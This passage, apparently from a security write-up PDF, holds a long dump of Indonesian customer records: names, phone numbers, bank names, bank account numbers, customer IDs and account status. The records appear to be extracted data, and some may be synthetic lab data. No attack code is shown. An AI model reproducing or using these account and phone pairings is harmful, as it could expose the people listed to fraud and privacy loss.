  BRACE: {"bank_account": "0348645183", "bank_name": "Bank Jatim", "customer_id": 
"11a9ca560abfa7f4", "id": 266, "name": "Reza Lubis", "phone": "085834257540", 
"status": "aktif"} 
  BRACE: {"bank_account": "61248156985700", "bank_name": "BRI", "customer_id": 
"9a8fcd4aed300117", "id": 267, "name": "Fitri Nugraha", "phone": "085856041776", 
"status": "aktif"} 
  BRACE: {"bank_account": "965772429543", "bank_name": "BNI", "customer_id": 
"feb5d4babf4539d9", "id": 268, "name": "Budi Hutabarat", "phone": "082245911238", 
"status": "aktif"} 
  BRACE: {"bank_account": "9421529108677133", "bank_name": "Mandiri", 
"customer_id": "b9b1ae207d61a304", "id": 269, "name": "Siti Legowo", "phone": 
"082217342069", "status": "nonaktif"} 
  BRACE: {"bank_account": "4439735971", "bank_name": "BCA", "customer_id": 
"6241f4aed67039c2", "id": 270, "name": "Rina Lubis", "phone": "082293436262", 
"status": "aktif"} 
  BRACE: {"bank_account": "4896465280", "bank_name": "BPD DIY", "customer_id": 
"0bacc5c627a53628", "id": 271, "name": "Andi Utama", "phone": "081205375990", 
"status": "aktif"} 
  BRACE: {"bank_account": "5027456449", "bank_name": "CIMB Niaga", "customer_id": 
"47bc84b0b061364a", "id": 272, "name": "Irfan Cahyono", "phone": "085272158624", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "074276170758", "bank_name": "Bank Jatim", "customer_id": 
"65be11a8fe4c791b", "id": 273, "name": "Agus Manurung", "phone": "085828703203", 
"status": "aktif"} 
  BRACE: {"bank_account": "613715041659", "bank_name": "BNI", "customer_id": 
"f975e8f04b69419a", "id": 274, "name": "Rizky Hidayat", "phone": "082184993908", 
"status": "aktif"} 
  BRACE: {"bank_account": "92304501896164", "bank_name": "BRI", "customer_id": 
"8db8f31b6a9996ea", "id": 275, "name": "Putri Prayogo", "phone": "085874905097", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "4925158377674996", "bank_name": "BNI", "customer_id": 
"2637a7bf1df5268d", "id": 276, "name": "Nur Wijaya", "phone": "082226642147", 
"status": "aktif"} 
  BRACE: {"bank_account": "1742243864908108", "bank_name": "BNI", "customer_id": 
"3b33fce6a8857a83", "id": 277, "name": "Irfan Tambunan", "phone": "085832788147", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "260164597794", "bank_name": "BSI", "customer_id": 
"b319d0c3e7b28ceb", "id": 278, "name": "Sri Tanjung", "phone": "085154918017", 
"status": "aktif"} 
  BRACE: {"bank_account": "776974995641", "bank_name": "BRI", "customer_id": 
"6457cf002bda2b10", "id": 279, "name": "Nur Halim", "phone": "085116800610", 
"status": "aktif"} 
  BRACE: {"bank_account": "4727601227", "bank_name": "Bank Jatim", "customer_id": 
"aa31c145c7a6d14b", "id": 280, "name": "Rudi Wijaya", "phone": "082203723683", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7678997308", "bank_name": "BCA", "customer_id": 
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"dc4472115d5ee92f", "id": 281, "name": "Dewi Tambunan", "phone": "081216679984", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "3839597246657293", "bank_name": "CIMB Niaga", 
"customer_id": "3f73c67ade2ea103", "id": 282, "name": "Rudi Cahyono", "phone": 
"085276024375", "status": "aktif"} 
  BRACE: {"bank_account": "33800545228015", "bank_name": "Danamon", "customer_id": 
"39e8fa4be312013f", "id": 283, "name": "Anton Iswanto", "phone": "082123297167", 
"status": "aktif"} 
  BRACE: {"bank_account": "0771199180", "bank_name": "BTN", "customer_id": 
"5c867aeed70480e6", "id": 284, "name": "Desy Gunawan", "phone": "085845508428", 
"status": "aktif"} 
  BRACE: {"bank_account": "3760375482", "bank_name": "BNI", "customer_id": 
"3540e13f193c8fd9", "id": 285, "name": "Hani Nugraha", "phone": "085178712552", 
"status": "aktif"} 
  BRACE: {"bank_account": "8507208115562606", "bank_name": "BCA", "customer_id": 
"8633a4d32db0a262", "id": 286, "name": "Hendri Atmaja", "phone": "082228632666", 
"status": "aktif"} 
  BRACE: {"bank_account": "673899756341", "bank_name": "BCA", "customer_id": 
"1911ad1306ea69da", "id": 287, "name": "Farhan Purnomo", "phone": "085166845504", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "20089434681054", "bank_name": "BTN", "customer_id": 
"8616a4a44f020986", "id": 288, "name": "Diky Kristianto", "phone": "082188431884", 
"status": "aktif"} 
  BRACE: {"bank_account": "44926831589357", "bank_name": "BNI", "customer_id": 
"7746ffbb52cd9fad", "id": 289, "name": "Yusuf Sinaga", "phone": "081275399893", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "9886497677622827", "bank_name": "Bank Jatim", 
"customer_id": "402dfd5d1a792600", "id": 290, "name": "Arif Setiawan", "phone": 
"081306273715", "status": "aktif"} 
  BRACE: {"bank_account": "1594082154", "bank_name": "BSI", "customer_id": 
"f74f0770f694a53a", "id": 291, "name": "Rian Kurniawan", "phone": "085870285196", 
"status": "aktif"} 
  BRACE: {"bank_account": "10679497567922", "bank_name": "BTN", "customer_id": 
"e05568f0e625af2a", "id": 292, "name": "Dian Pratama", "phone": "085704432701", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "80741209481813", "bank_name": "BPD DIY", "customer_id": 
"6022916244216579", "id": 293, "name": "Anton Rangkuti", "phone": "082151996636", 
"status": "aktif"} 
  BRACE: {"bank_account": "397189569070", "bank_name": "BSI", "customer_id": 
"7de2f08b3e991357", "id": 294, "name": "Farhan Suyanto", "phone": "082278018204", 
"status": "aktif"} 
  BRACE: {"bank_account": "62095200461526", "bank_name": "BSI", "customer_id": 
"80efa38518e4492a", "id": 295, "name": "Nur Kusuma", "phone": "081382422412", 
"status": "aktif"} 
  BRACE: {"bank_account": "8617063048913824", "bank_name": "BPD DIY", 
"customer_id": "ef6d49655e206b0c", "id": 296, "name": "Hendra Simanjuntak", "phone": 
"082278861405", "status": "aktif"} 
  BRACE: {"bank_account": "0749465398", "bank_name": "CIMB Niaga", "customer_id": 
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"acfadf9ae9f93da3", "id": 297, "name": "Ani Hartono", "phone": "085787007942", 
"status": "aktif"} 
  BRACE: {"bank_account": "54743553795020", "bank_name": "BPD DIY", "customer_id": 
"bfd477039d5adbd3", "id": 298, "name": "Maya Setiawan", "phone": "085712846398", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "2017537030453194", "bank_name": "Mandiri", 
"customer_id": "71b5c03a951fd28a", "id": 299, "name": "Reza Setiawan", "phone": 
"081380715695", "status": "aktif"} 
  BRACE: {"bank_account": "2839992192124938", "bank_name": "CIMB Niaga", 
"customer_id": "473c619c5058750a", "id": 300, "name": "Ahmad Siregar", "phone": 
"085893036149", "status": "aktif"} 
  BRACE: {"bank_account": "18775803046875", "bank_name": "BCA", "customer_id": 
"e5dfeebc31d09893", "id": 301, "name": "Rian Wahyudi", "phone": "085187060566", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "9543173505", "bank_name": "BTN", "customer_id": 
"4c1ebeac10eb7b23", "id": 302, "name": "Andi Simanjuntak", "phone": "082225411076", 
"status": "aktif"} 
  BRACE: {"bank_account": "12070496110804", "bank_name": "Danamon", "customer_id": 
"7605c985e4af4a81", "id": 303, "name": "Linda Firmansyah", "phone": "085817911006", 
"status": "aktif"} 
  BRACE: {"bank_account": "93110919392845", "bank_name": "Danamon", "customer_id": 
"2358d5ef65c601d0", "id": 304, "name": "Putri Ginting", "phone": "085869915078", 
"status": "aktif"} 
  BRACE: {"bank_account": "95450892038806", "bank_name": "BSI", "customer_id": 
"c7e5a5f31a26f848", "id": 305, "name": "Rina Sinaga", "phone": "085785498227", 
"status": "aktif"} 
  BRACE: {"bank_account": "65217073033793", "bank_name": "Mandiri", "customer_id": 
"ffbfc0ea5cf1f57a", "id": 306, "name": "Andi Tambunan", "phone": "082277959959", 
"status": "aktif"} 
  BRACE: {"bank_account": "00334234258323", "bank_name": "BCA", "customer_id": 
"30b7c5a00f89681c", "id": 307, "name": "Budi Raharjo", "phone": "085208124739", 
"status": "aktif"} 
  BRACE: {"bank_account": "28961122338655", "bank_name": "BPD DIY", "customer_id": 
"5d697c5a77d92558", "id": 308, "name": "Sri Wijaya", "phone": "082161534735", 
"status": "aktif"} 
  BRACE: {"bank_account": "9128685787255877", "bank_name": "Bank Jatim", 
"customer_id": "4e304c5ce89098d7", "id": 309, "name": "Dian Manurung", "phone": 
"082204289731", "status": "aktif"} 
  BRACE: {"bank_account": "48121478539078", "bank_name": "BPD DIY", "customer_id": 
"67b69bc234593dd0", "id": 310, "name": "Bambang Saputra", "phone": "085836346692", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "15148881431115", "bank_name": "BCA", "customer_id": 
"14821b66c2540b3b", "id": 311, "name": "Eka Hasibuan", "phone": "085275460273", 
"status": "aktif"} 
  BRACE: {"bank_account": "4456690782", "bank_name": "Danamon", "customer_id": 
"880b873e69a96822", "id": 312, "name": "Hendra Wahyudi", "phone": "085244439284", 
"status": "aktif"} 
  BRACE: {"bank_account": "7805292407553666", "bank_name": "BTN", "customer_id": 

Presented by @hackitbraw_ub 



131 

"46d0c2fb2be26b7c", "id": 313, "name": "Bayu Gunawan", "phone": "085875153663", 
"status": "aktif"} 
  BRACE: {"bank_account": "8637159741", "bank_name": "BRI", "customer_id": 
"6c7ea5587d7d8c31", "id": 314, "name": "Rina Pratama", "phone": "085299996636", 
"status": "aktif"} 
  BRACE: {"bank_account": "81705802566212", "bank_name": "BTN", "customer_id": 
"c5eec25293ecf544", "id": 315, "name": "Ahmad Sumarto", "phone": "085802316433", 
"status": "aktif"} 
  BRACE: {"bank_account": "30271693859777", "bank_name": "BPD DIY", "customer_id": 
"a3b83baab8958d64", "id": 316, "name": "Eka Prayogo", "phone": "085829949387", 
"status": "aktif"} 
  BRACE: {"bank_account": "7629160324841376", "bank_name": "BTN", "customer_id": 
"c0c977f9877ccfbb", "id": 317, "name": "Wulan Tanjung", "phone": "085246926329", 
"status": "aktif"} 
  BRACE: {"bank_account": "1765636004", "bank_name": "BNI", "customer_id": 
"3587965e77e766fd", "id": 318, "name": "Irfan Supriadi", "phone": "085267243807", 
"status": "aktif"} 
  BRACE: {"bank_account": "4220912418621042", "bank_name": "Bank Jatim", 
"customer_id": "4b588fb0a7d82b08", "id": 319, "name": "Anton Halim", "phone": 
"085877118372", "status": "aktif"} 
  BRACE: {"bank_account": "0633533106", "bank_name": "BCA", "customer_id": 
"440effb59caab085", "id": 320, "name": "Mega Hartono", "phone": "082270816470", 
"status": "aktif"} 
  BRACE: {"bank_account": "938661331552", "bank_name": "BCA", "customer_id": 
"a5e2730a72673adb", "id": 321, "name": "Bambang Utama", "phone": "082120681558", 
"status": "aktif"} 
  BRACE: {"bank_account": "419562525715", "bank_name": "BCA", "customer_id": 
"65bbc5045e7b5424", "id": 322, "name": "Anton Siregar", "phone": "085201364971", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "639102574326", "bank_name": "Mandiri", "customer_id": 
"245b138de4f32d53", "id": 323, "name": "Tono Budiman", "phone": "082289030914", 
"status": "aktif"} 
  BRACE: {"bank_account": "3553380339", "bank_name": "Danamon", "customer_id": 
"9c4df96f9c0a637e", "id": 324, "name": "Diky Firmansyah", "phone": "085852450864", 
"status": "aktif"} 
  BRACE: {"bank_account": "2983381674", "bank_name": "BRI", "customer_id": 
"65d081ba9048a45e", "id": 325, "name": "Yusuf Mulyadi", "phone": "081217130232", 
"status": "aktif"} 
  BRACE: {"bank_account": "66277689627066", "bank_name": "BNI", "customer_id": 
"9d985227234e385b", "id": 326, "name": "Eka Hidayat", "phone": "082244973471", 
"status": "aktif"} 
  BRACE: {"bank_account": "732300857666", "bank_name": "BSI", "customer_id": 
"fad7e051c81bbeff", "id": 327, "name": "Tono Tanjung", "phone": "085174689715", 
"status": "aktif"} 
  BRACE: {"bank_account": "6337050249724399", "bank_name": "BRI", "customer_id": 
"d30a7cf32b732f28", "id": 328, "name": "Tono Prasetyo", "phone": "082136458750", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "9461195243640270", "bank_name": "BNI", "customer_id": 
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"b20774259a071966", "id": 329, "name": "Wati Prayogo", "phone": "081383626448", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7932302346", "bank_name": "Bank Jatim", "customer_id": 
"eae173c6f90c6db3", "id": 330, "name": "Wulan Harahap", "phone": "085722522372", 
"status": "aktif"} 
  BRACE: {"bank_account": "771004090138", "bank_name": "BCA", "customer_id": 
"d9d8bbbae5ea052d", "id": 331, "name": "Hendri Nugraha", "phone": "081341614150", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "10762091843579", "bank_name": "Bank Jatim", 
"customer_id": "08ef73be7232361b", "id": 332, "name": "Lestari Situmorang", "phone": 
"085253566905", "status": "aktif"} 
  BRACE: {"bank_account": "9156716493289802", "bank_name": "Bank Jatim", 
"customer_id": "2d183bcddcc5373b", "id": 333, "name": "Budi Mulyadi", "phone": 
"085205057397", "status": "nonaktif"} 
  BRACE: {"bank_account": "0256434712871539", "bank_name": "BPD DIY", 
"customer_id": "eb6e2d153fc0967c", "id": 334, "name": "Agus Rangkuti", "phone": 
"081378333211", "status": "nonaktif"} 
  BRACE: {"bank_account": "1593195256", "bank_name": "BPD DIY", "customer_id": 
"eb58a9b1eca70c6b", "id": 335, "name": "Sinta Halim", "phone": "085786334141", 
"status": "aktif"} 
  BRACE: {"bank_account": "160875243772", "bank_name": "BPD DIY", "customer_id": 
"d2e67dfd191461a2", "id": 336, "name": "Dewi Handoko", "phone": "082266552899", 
"status": "aktif"} 
  BRACE: {"bank_account": "23302764208656", "bank_name": "Bank Jatim", 
"customer_id": "4595c39eacd33130", "id": 337, "name": "Maya Budiman", "phone": 
"081349737460", "status": "aktif"} 
  BRACE: {"bank_account": "4729277423", "bank_name": "Mandiri", "customer_id": 
"0ca65b0a12463b46", "id": 338, "name": "Nurul Kristianto", "phone": "085143861259", 
"status": "aktif"} 
  BRACE: {"bank_account": "018596263013", "bank_name": "Danamon", "customer_id": 
"2f30d63387e6d3bc", "id": 339, "name": "Hani Kristianto", "phone": "081326620157", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "099974192676", "bank_name": "CIMB Niaga", "customer_id": 
"46438c27459a99a8", "id": 340, "name": "Indah Mulyadi", "phone": "085850111178", 
"status": "aktif"} 
  BRACE: {"bank_account": "3129208751", "bank_name": "BCA", "customer_id": 
"740a50f8cb28e710", "id": 341, "name": "Fajar Raharjo", "phone": "082160688871", 
"status": "aktif"} 
  BRACE: {"bank_account": "603408487297", "bank_name": "BSI", "customer_id": 
"28c0532baf6c2d66", "id": 342, "name": "Wulan Nugraha", "phone": "081384011845", 
"status": "aktif"} 
  BRACE: {"bank_account": "954296184462", "bank_name": "Danamon", "customer_id": 
"3652de56004dbb72", "id": 343, "name": "Rian Utama", "phone": "081230324329", 
"status": "aktif"} 
  BRACE: {"bank_account": "66093141818615", "bank_name": "BNI", "customer_id": 
"7df4da485636cf80", "id": 344, "name": "Hendri Kristianto", "phone": "085135989262", 
"status": "aktif"} 
  BRACE: {"bank_account": "97185948491025", "bank_name": "Danamon", "customer_id": 
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"a9a12fb29d362b31", "id": 345, "name": "Bambang Siregar", "phone": "081216361128", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "05396727578446", "bank_name": "BTN", "customer_id": 
"d729b719747ab677", "id": 346, "name": "Bayu Handoko", "phone": "082140822269", 
"status": "aktif"} 
  BRACE: {"bank_account": "1487068277", "bank_name": "BTN", "customer_id": 
"211c1265da52ca03", "id": 347, "name": "Hendri Setiawan", "phone": "085165111312", 
"status": "aktif"} 
  BRACE: {"bank_account": "2832152850676251", "bank_name": "BSI", "customer_id": 
"6fb658556079c873", "id": 348, "name": "Wati Susanto", "phone": "082206853890", 
"status": "aktif"} 
  BRACE: {"bank_account": "7970509754", "bank_name": "BSI", "customer_id": 
"0c18b9a15a0b59af", "id": 349, "name": "Rizky Sinaga", "phone": "085844309634", 
"status": "aktif"} 
  BRACE: {"bank_account": "1702437654562841", "bank_name": "Bank Jatim", 
"customer_id": "63ed5de492fe720d", "id": 350, "name": "Wati Pardede", "phone": 
"081216731882", "status": "aktif"} 
  BRACE: {"bank_account": "6502374167872568", "bank_name": "Danamon", 
"customer_id": "318ba98eefc1bee7", "id": 351, "name": "Rina Pardede", "phone": 
"085705313402", "status": "aktif"} 
  BRACE: {"bank_account": "6744716392", "bank_name": "BTN", "customer_id": 
"39550a5bcd730f52", "id": 352, "name": "Siti Wibowo", "phone": "082158030569", 
"status": "aktif"} 
  BRACE: {"bank_account": "923126043260", "bank_name": "BPD DIY", "customer_id": 
"6b29e50a971dc7b4", "id": 353, "name": "Linda Kusuma", "phone": "085136371892", 
"status": "aktif"} 
  BRACE: {"bank_account": "4145456350", "bank_name": "BRI", "customer_id": 
"23008a229ff2227e", "id": 354, "name": "Tono Hasibuan", "phone": "085133567086", 
"status": "aktif"} 
  BRACE: {"bank_account": "41108255598953", "bank_name": "CIMB Niaga", 
"customer_id": "36df6b189ae33b43", "id": 355, "name": "Fitri Harahap", "phone": 
"085849162475", "status": "nonaktif"} 
  BRACE: {"bank_account": "8954738202", "bank_name": "Mandiri", "customer_id": 
"2cf2e7f5a94a280f", "id": 356, "name": "Nur Utama", "phone": "082191093371", 
"status": "aktif"} 
  BRACE: {"bank_account": "09036788127868", "bank_name": "Danamon", "customer_id": 
"dda5bd378341b645", "id": 357, "name": "Eka Raharjo", "phone": "085868802942", 
"status": "aktif"} 
  BRACE: {"bank_account": "81230834024240", "bank_name": "Mandiri", "customer_id": 
"62fde75fc88ef887", "id": 358, "name": "Sari Sumarto", "phone": "081287884434", 
"status": "aktif"} 
  BRACE: {"bank_account": "50053424089164", "bank_name": "BPD DIY", "customer_id": 
"384454a0aa923cfc", "id": 359, "name": "Budi Haryanto", "phone": "085295518426", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "717272239724", "bank_name": "BCA", "customer_id": 
"650a4537fdf7a966", "id": 360, "name": "Bambang Manurung", "phone": 
"085139627365", "status": "nonaktif"} 
  BRACE: {"bank_account": "091660100231", "bank_name": "CIMB Niaga", "customer_id": 

Presented by @hackitbraw_ub 



134 

"a40a1070745225c9", "id": 361, "name": "Mega Firmansyah", "phone": "082212163761", 
"status": "aktif"} 
  BRACE: {"bank_account": "72308481001841", "bank_name": "BTN", "customer_id": 
"1b562fa7ef22862c", "id": 362, "name": "Budi Utama", "phone": "085213279724", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "51951510922685", "bank_name": "BPD DIY", "customer_id": 
"c631609d6b4e571b", "id": 363, "name": "Dian Pardede", "phone": "085136172131", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "0225267711", "bank_name": "BPD DIY", "customer_id": 
"6a3815bff07a30b2", "id": 364, "name": "Dian Atmaja", "phone": "085194514754", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "8788788361968931", "bank_name": "Mandiri", 
"customer_id": "79583ac80d795717", "id": 365, "name": "Doni Manurung", "phone": 
"085867695236", "status": "aktif"} 
  BRACE: {"bank_account": "863330212606", "bank_name": "BSI", "customer_id": 
"3042bd3d5bc14240", "id": 366, "name": "Hani Legowo", "phone": "085821055247", 
"status": "aktif"} 
  BRACE: {"bank_account": "2272847657041200", "bank_name": "BPD DIY", 
"customer_id": "23839988cad7bca5", "id": 367, "name": "Bayu Firmansyah", "phone": 
"082102521310", "status": "aktif"} 
  BRACE: {"bank_account": "418623690362", "bank_name": "BTN", "customer_id": 
"35d2821565dbcb6c", "id": 368, "name": "Budi Hutabarat", "phone": "085778498436", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "1595034281", "bank_name": "BNI", "customer_id": 
"02e88eacfa86f4ec", "id": 369, "name": "Bayu Manurung", "phone": "085762056341", 
"status": "aktif"} 
  BRACE: {"bank_account": "9700514054", "bank_name": "Danamon", "customer_id": 
"4f54ff63476dbcb5", "id": 370, "name": "Taufik Sinaga", "phone": "082283034199", 
"status": "aktif"} 
  BRACE: {"bank_account": "9679042271", "bank_name": "BNI", "customer_id": 
"084804ed0b8c3b0e", "id": 371, "name": "Taufik Hutabarat", "phone": "085221568182", 
"status": "aktif"} 
  BRACE: {"bank_account": "45960633991297", "bank_name": "BNI", "customer_id": 
"e7d8a01853111404", "id": 372, "name": "Mega Haryanto", "phone": "082128898572", 
"status": "aktif"} 
  BRACE: {"bank_account": "11274747219705", "bank_name": "CIMB Niaga", 
"customer_id": "0c006478283f73b6", "id": 373, "name": "Ayu Utama", "phone": 
"085852421495", "status": "aktif"} 
  BRACE: {"bank_account": "2146296136", "bank_name": "Bank Jatim", "customer_id": 
"7b2c54eaa7025e40", "id": 374, "name": "Hani Setiawan", "phone": "085787409038", 
"status": "aktif"} 
  BRACE: {"bank_account": "15597371470827", "bank_name": "BRI", "customer_id": 
"5c05506b6cd12293", "id": 375, "name": "Putri Tanjung", "phone": "085811216636", 
"status": "aktif"} 
  BRACE: {"bank_account": "4421214614768342", "bank_name": "BCA", "customer_id": 
"f70bf3e7dfd39f42", "id": 376, "name": "Farhan Santoso", "phone": "085705673030", 
"status": "aktif"} 
  BRACE: {"bank_account": "0893199255027275", "bank_name": "BNI", "customer_id": 
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"676b5e4c0c5b43da", "id": 377, "name": "Agus Saputra", "phone": "085267782659", 
"status": "aktif"} 
  BRACE: {"bank_account": "8296353390550448", "bank_name": "BNI", "customer_id": 
"0bc349c41f8e5184", "id": 378, "name": "Nurul Kristianto", "phone": "081272791033", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "5289286646491111", "bank_name": "BCA", "customer_id": 
"b36d3c90f1aa6eff", "id": 379, "name": "Arif Hasibuan", "phone": "085258685127", 
"status": "aktif"} 
  BRACE: {"bank_account": "8613715766053844", "bank_name": "CIMB Niaga", 
"customer_id": "ba88cf89222f5937", "id": 380, "name": "Ayu Halim", "phone": 
"081378904633", "status": "aktif"} 
  BRACE: {"bank_account": "3863960962626582", "bank_name": "Danamon", 
"customer_id": "7e255dd8422c44da", "id": 381, "name": "Arif Santoso", "phone": 
"081202589552", "status": "aktif"} 
  BRACE: {"bank_account": "0920981960275233", "bank_name": "CIMB Niaga", 
"customer_id": "a4277f07bfe7ff39", "id": 382, "name": "Irfan Kusuma", "phone": 
"085748253110", "status": "aktif"} 
  BRACE: {"bank_account": "7911244211", "bank_name": "Bank Jatim", "customer_id": 
"161ad2dfea96aba2", "id": 383, "name": "Diky Supriadi", "phone": "085740412091", 
"status": "aktif"} 
  BRACE: {"bank_account": "240299015579", "bank_name": "BPD DIY", "customer_id": 
"b2ae28081688a81a", "id": 384, "name": "Ayu Wijaya", "phone": "085717136657", 
"status": "aktif"} 
  BRACE: {"bank_account": "351305231244", "bank_name": "Bank Jatim", "customer_id": 
"f07d508a3be7da2a", "id": 385, "name": "Nurul Halim", "phone": "085113908088", 
"status": "aktif"} 
  BRACE: {"bank_account": "461994237676", "bank_name": "BPD DIY", "customer_id": 
"019a4bb7ace14459", "id": 386, "name": "Doni Prayogo", "phone": "085177686342", 
"status": "aktif"} 
  BRACE: {"bank_account": "8496498560", "bank_name": "BNI", "customer_id": 
"7968173c8c6c682b", "id": 387, "name": "Ratna Utama", "phone": "085763955172", 
"status": "aktif"} 
  BRACE: {"bank_account": "5053795381", "bank_name": "Danamon", "customer_id": 
"a52f487364ab7eb7", "id": 388, "name": "Eka Hidayat", "phone": "085231355251", 
"status": "aktif"} 
  BRACE: {"bank_account": "077046117295", "bank_name": "BPD DIY", "customer_id": 
"ae2e1a1268f1439d", "id": 389, "name": "Sri Legowo", "phone": "085191966553", 
"status": "aktif"} 
  BRACE: {"bank_account": "1644556185790647", "bank_name": "Bank Jatim", 
"customer_id": "eb74beabd7b1ad76", "id": 390, "name": "Putri Harahap", "phone": 
"082160880501", "status": "aktif"} 
  BRACE: {"bank_account": "135800401041", "bank_name": "CIMB Niaga", "customer_id": 
"bcf1a883e3bf1b56", "id": 391, "name": "Ratna Utama", "phone": "081230021563", 
"status": "aktif"} 
  BRACE: {"bank_account": "977457314415", "bank_name": "BTN", "customer_id": 
"3908ea4bad08a534", "id": 392, "name": "Rina Handoko", "phone": "085812529671", 
"status": "aktif"} 
  BRACE: {"bank_account": "1539885472812356", "bank_name": "Bank Jatim", 
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"customer_id": "e3c329300de77602", "id": 393, "name": "Rian Raharjo", "phone": 
"081370303763", "status": "aktif"} 
  BRACE: {"bank_account": "1130724078754181", "bank_name": "BSI", "customer_id": 
"838ebb3e0288f434", "id": 394, "name": "Linda Hutabarat", "phone": "082214624912", 
"status": "aktif"} 
  BRACE: {"bank_account": "2948978610313100", "bank_name": "BPD DIY", 
"customer_id": "72859ce6807613fc", "id": 395, "name": "Dewi Rangkuti", "phone": 
"085151066343", "status": "aktif"} 
  BRACE: {"bank_account": "549401289743", "bank_name": "BRI", "customer_id": 
"487ab9ae829258e1", "id": 396, "name": "Indah Gunawan", "phone": "085766134732", 
"status": "aktif"} 
  BRACE: {"bank_account": "095790737100", "bank_name": "BPD DIY", "customer_id": 
"fc81e3d2bcfff1fa", "id": 397, "name": "Lestari Tanjung", "phone": "082107650241", 
"status": "aktif"} 
  BRACE: {"bank_account": "74570545897148", "bank_name": "BCA", "customer_id": 
"0d95f79f5aab839e", "id": 398, "name": "Nurul Budiman", "phone": "082121145775", 
"status": "aktif"} 
  BRACE: {"bank_account": "614878245569", "bank_name": "Danamon", "customer_id": 
"92919cb30821302b", "id": 399, "name": "Anton Pratama", "phone": "085270396531", 
"status": "aktif"} 
  BRACE: {"bank_account": "7272849824", "bank_name": "Bank Jatim", "customer_id": 
"c64eea14381181d5", "id": 400, "name": "Sari Suyanto", "phone": "085291679541", 
"status": "aktif"} 
  BRACE: {"bank_account": "00425488214236", "bank_name": "BPD DIY", "customer_id": 
"a0b46835a6402af9", "id": 401, "name": "Putri Santoso", "phone": "082249107406", 
"status": "aktif"} 
  BRACE: {"bank_account": "965923426834", "bank_name": "CIMB Niaga", "customer_id": 
"846137ad42a923b6", "id": 402, "name": "Bayu Pardede", "phone": "082266614494", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "5676670806129439", "bank_name": "BTN", "customer_id": 
"78f12de339f96015", "id": 403, "name": "Reza Hidayat", "phone": "085761287585", 
"status": "aktif"} 
  BRACE: {"bank_account": "4159149750", "bank_name": "BNI", "customer_id": 
"987867e8a9d7dedd", "id": 404, "name": "Dewi Santoro", "phone": "085726078701", 
"status": "aktif"} 
  BRACE: {"bank_account": "9311029181331708", "bank_name": "Bank Jatim", 
"customer_id": "18dc745ccaba1313", "id": 405, "name": "Rian Kurniawan", "phone": 
"082187232440", "status": "aktif"} 
  BRACE: {"bank_account": "883774419754", "bank_name": "Danamon", "customer_id": 
"fa93c5226e4d31fb", "id": 406, "name": "Reza Nasution", "phone": "085891620223", 
"status": "aktif"} 
  BRACE: {"bank_account": "774025883586", "bank_name": "BTN", "customer_id": 
"c6a1b7a703b939a7", "id": 407, "name": "Putri Kusuma", "phone": "085709409705", 
"status": "aktif"} 
  BRACE: {"bank_account": "9298842599599610", "bank_name": "BCA", "customer_id": 
"7039b22755a52a9c", "id": 408, "name": "Wulan Kristianto", "phone": "085272446176", 
"status": "aktif"} 
  BRACE: {"bank_account": "1094101759025176", "bank_name": "BRI", "customer_id": 

Presented by @hackitbraw_ub 



137 

"04d1b9af2fb65e60", "id": 409, "name": "Sri Atmaja", "phone": "081377533126", 
"status": "aktif"} 
  BRACE: {"bank_account": "9013020569", "bank_name": "BTN", "customer_id": 
"b4777b62c5c4918e", "id": 410, "name": "Hendra Nasution", "phone": "085874332683", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "6191284117309850", "bank_name": "Mandiri", 
"customer_id": "48def53150598340", "id": 411, "name": "Hendra Kurniawan", "phone": 
"085885598217", "status": "aktif"} 
  BRACE: {"bank_account": "9081974005643502", "bank_name": "Mandiri", 
"customer_id": "affc2d4c99927911", "id": 412, "name": "Andi Nugraha", "phone": 
"085118938984", "status": "aktif"} 
  BRACE: {"bank_account": "9918724010783567", "bank_name": "CIMB Niaga", 
"customer_id": "4a773162d8325144", "id": 413, "name": "Taufik Atmaja", "phone": 
"081237199051", "status": "aktif"} 
  BRACE: {"bank_account": "2668217195535603", "bank_name": "Mandiri", 
"customer_id": "9dc45dadf395db21", "id": 414, "name": "Siti Supriadi", "phone": 
"082289608706", "status": "aktif"} 
  BRACE: {"bank_account": "05593429671114", "bank_name": "BTN", "customer_id": 
"17edaace3a6d6d8c", "id": 415, "name": "Arif Halim", "phone": "081203010272", 
"status": "aktif"} 
  BRACE: {"bank_account": "0569741328", "bank_name": "Mandiri", "customer_id": 
"ed6da50662fcc568", "id": 416, "name": "Bambang Rangkuti", "phone": 
"085158438458", "status": "aktif"} 
  BRACE: {"bank_account": "96410496706670", "bank_name": "Mandiri", "customer_id": 
"30f3923e11605d43", "id": 417, "name": "Diky Pratama", "phone": "081237710704", 
"status": "aktif"} 
  BRACE: {"bank_account": "059660186487", "bank_name": "Danamon", "customer_id": 
"818152ac9fcb1e3d", "id": 418, "name": "Anton Lubis", "phone": "081240850954", 
"status": "aktif"} 
  BRACE: {"bank_account": "59609454490149", "bank_name": "BSI", "customer_id": 
"0b72de2cf4c9d0a4", "id": 419, "name": "Agus Ginting", "phone": "085832044138", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "4985172444", "bank_name": "Bank Jatim", "customer_id": 
"cf8feed9e07e23fa", "id": 420, "name": "Siti Rangkuti", "phone": "081270578360", 
"status": "aktif"} 
  BRACE: {"bank_account": "8304405809", "bank_name": "Mandiri", "customer_id": 
"e3fe6e5f67544156", "id": 421, "name": "Dian Iskandar", "phone": "081231028795", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "20595565749025", "bank_name": "BCA", "customer_id": 
